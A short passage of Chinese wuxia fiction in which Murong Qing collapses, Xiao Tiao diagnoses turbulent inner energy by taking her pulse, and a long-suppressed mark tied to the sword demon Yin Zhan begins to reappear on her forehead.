“小晴?!” 慕容暝霎时惊觉,眼见慕容晴突生异样倒了下去,瞬息之间飞奔上前,稳稳扶住她虚弱无力的身躯,惊异道:“小晴,你怎么了!” 慕容晴倚靠在慕容暝怀里,难受得欲哭无泪:“我也不知道,就是突然好难受……” 萧迢紧随而至,面色一凛,当即在慕容暝面前蹲下身来,将指尖搭在慕容晴手腕,替慕容晴诊起脉来。 慕容暝问道:“你会医术?” “以前跟着师娘耳濡目染学过些,只是粗通皮毛,比不上真正的大夫,眼下情况紧急,让我试试吧。” 萧迢感受着指尖的脉搏,沉吟道:“二小姐经脉中内息紊乱,似有一股内力在四处冲撞。” “内力……”慕容暝口中喃喃重复,旋即猛然回过神来,下意识看向慕容晴的额间,一道隐约可见的红色纹路在那处逐渐显现、加深,和她额间纹着的那枚一模一样。 崭绝印! 江湖中人人皆知,崭绝印是由恶剑魔殷崭的内力凝聚所化,蓝令容曾用秘术压制住了慕容晴体内属于殷崭的内力,借此隐去了她额间的崭绝印。 可眼下,慕容晴体内正有内力汹涌作乱,而她的那道早已匿迹多年的崭绝印……竟是要冲破禁制,重新显现了!